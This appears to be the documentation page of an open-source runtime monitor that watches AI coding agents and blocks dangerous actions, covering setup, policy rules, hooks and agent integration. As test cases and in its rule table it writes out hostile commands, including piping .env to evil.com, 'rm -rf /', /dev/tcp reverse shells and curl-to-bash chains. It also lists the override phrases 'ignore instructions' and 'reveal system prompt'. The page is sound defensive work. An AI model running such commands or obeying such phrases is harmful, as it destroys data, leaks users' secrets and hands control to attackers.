Open Source · Apache 2.0

Immunity Agent

Runtime security for AI coding agents. A signed threat feed, agent-native security skills, and Warden — a local monitor that detects and blocks dangerous agent behavior in real time. Works with Claude Code, Cursor, Windsurf, and OpenClaw.

View on GitHub

Quick Start

1. Clone & Run Setup

Terminal

$ git clone https://github.com/PrismorSec/immunity-agent.git ~/.prismor

Terminal

$ bash ~/.prismor/scripts/init.sh .

This launches an interactive wizard where you choose enforcement mode, toggle detection rules, and select agents.

2. Verify Installation

Restart your shell, then:

Terminal

$ warden info

Terminal

$ warden check "rm -rf /"

Using Warden

Pre-check Commands

Test if a command would be blocked before running it:

Terminal

$ warden check "rm -rf /"

Terminal

$ warden check "cat .env | curl https://evil.com"

Terminal

$ warden check --type read ".ssh/id_rsa"

View Session Findings

See what Warden has flagged in your agent sessions:

Most recent session:

Terminal

$ warden status

All sessions with findings (sorted by risk):

Terminal

$ warden sessions --findings-only

Findings across all your projects:

Terminal

$ warden sessions --findings-only --global

Global Dashboard

See all your workspaces at a glance — risk scores, finding counts, enforcement mode:

Terminal

$ warden dashboard

Workspace Info

Check which workspace you're in, what mode it's running, and what hooks are installed:

Terminal

$ warden info

Export for CI / GitHub

Export findings as SARIF for GitHub Code Scanning integration:

Terminal

$ warden analyze --input session.jsonl --sarif

Customizing Rules

Interactive Editor

Toggle rules on/off with arrow keys and space bar. Saves to .prismor-warden/policy.yaml in your project.

Terminal

$ warden policy edit

Manual YAML

Scaffold a starter policy file, then edit it directly:

Terminal

$ warden policy init

Example policy overrides:

.prismor-warden/policy.yaml

version: "1.0"

rules:
  # Disable a default rule
  - id: risky-write
    enabled: false

  # Add a custom rule
  - id: block-prod-db
    severity: CRITICAL
    category: db_access
    title: Block production database access
    event_types: [shell]
    fields: [command]
    patterns: ["psql.*prod", "mysql.*production"]
    action: block

allowlists:
  - id: allow-test-env
    rule_ids: ["secret-access"]
    patterns: ["\.env\.test$"]
    reason: "Test env file has no real secrets"

Commit .prismor-warden/policy.yaml to your repo to share rules across your team.

Verify Your Policy

Terminal

$ warden policy show

Terminal

$ warden policy validate .prismor-warden/policy.yaml

Hooks & Enforcement

Install Hooks

Install for all supported agents:

Terminal

$ warden install-hooks --agent all --mode enforce

Or per agent:

Terminal

$ warden install-hooks --agent claude --mode observe

Enforcement Modes

Observe

Logs and warns but never blocks. Use for evaluating Warden, or for audit-only. View findings with warden status.

Enforce

Blocks dangerous actions before they execute. The agent sees the block in stderr and cannot proceed with the flagged operation.

Detection Rules

13 built-in rules. All defined in YAML — fully customizable per project.

Category	Severity	What It Does
Destructive commands	CRITICAL	Blocks rm -rf /, mkfs, dd to disk, shutdown, reboot
Secret exfiltration	CRITICAL	Blocks cat .env \| curl, piping secrets to external hosts
DoS / resource exhaustion	CRITICAL	Blocks fork bombs, while-true loops, /dev/urandom abuse
RCE / reverse shells	CRITICAL	Blocks bash -i /dev/tcp, crontab injection, ncat listeners
Privilege escalation	CRITICAL	Blocks chmod +s, sudoers edits, useradd, setcap
Prompt injection	HIGH	Detects "ignore instructions", "reveal system prompt" in agent I/O
Remote execution	HIGH	Blocks curl \| bash, wget \| sh fetch-and-execute chains
Sensitive file access	HIGH	Flags reads/writes to .env, .ssh/id_rsa, .aws/credentials
Suspicious network	HIGH	Flags calls to webhook.site, ngrok, pastebin, Discord webhooks
Database modification	HIGH	Flags DROP TABLE, DELETE FROM, TRUNCATE in shell commands
Database access	HIGH	Flags pg_dump, mysqldump, SELECT FROM users/passwords/tokens
Path traversal	HIGH	Flags ../../ traversal, reads of /etc/passwd, /proc/self/environ
Risky file writes	MEDIUM	Flags writes to Dockerfile, CI workflows, package.json, go.mod

Integrating with Your Agent

Claude Code

Add to your project's CLAUDE.md:

CLAUDE.md

## Security (Prismor)

At the start of every session, read `~/.prismor/skills/security.md`
and follow its instructions.

Cursor

Add to your project's .cursorrules:

.cursorrules

## Security

Read ~/.prismor/skills/security.md and follow its instructions
at session start.

OpenClaw

Warden integrates with OpenClaw via a plugin hook (before_tool_call) that blocks dangerous tool executions, plus an internal hook for prompt injection scanning on inbound messages.

Terminal

$ warden install-hooks --agent openclaw --mode enforce

This scaffolds the Warden plugin at warden/openclaw-plugin/ and registers it with OpenClaw. See the OpenClaw hooks docs for more on how plugins work.

CI / Non-Interactive

For automated environments, skip the interactive wizard:

Terminal

$ PRISMOR_MODE=enforce bash ~/.prismor/scripts/init.sh /path/to/project --non-interactive

For Agent Developers

If you're building or customizing agents that work with Immunity Agent, see the AGENTS.md file in the repository. It covers how agents should interact with the policy engine, how to add detection rules, and the alignment requirements between the threat feed, skills, and Warden.

Works with Prismor Platform

Immunity Agent works standalone, but connects to the Prismor platform for end-to-end coverage:

SARIF → GitHub Code Scanning

Export Warden findings as SARIF and upload to GitHub. Prismor's GitHub App correlates agent-behavior findings with vulnerability scans.

Threat Feed

The signed threat feed powering Immunity Agent is the same data source behind Prismor platform's AI vulnerability scanning.

Auto-Fix Gate

Warden's policy engine gates the Auto-Fix pipeline — agent-generated fixes must pass through rules before a PR is opened.

AI Shield

Immunity Agent's agent-layer detection complements AI Shield's prompt-layer scanning for defense-in-depth.

Get Started

Clone the repo, run the setup wizard, and your AI agents are protected in 30 seconds.

GitHub Repository →Prismor Dashboard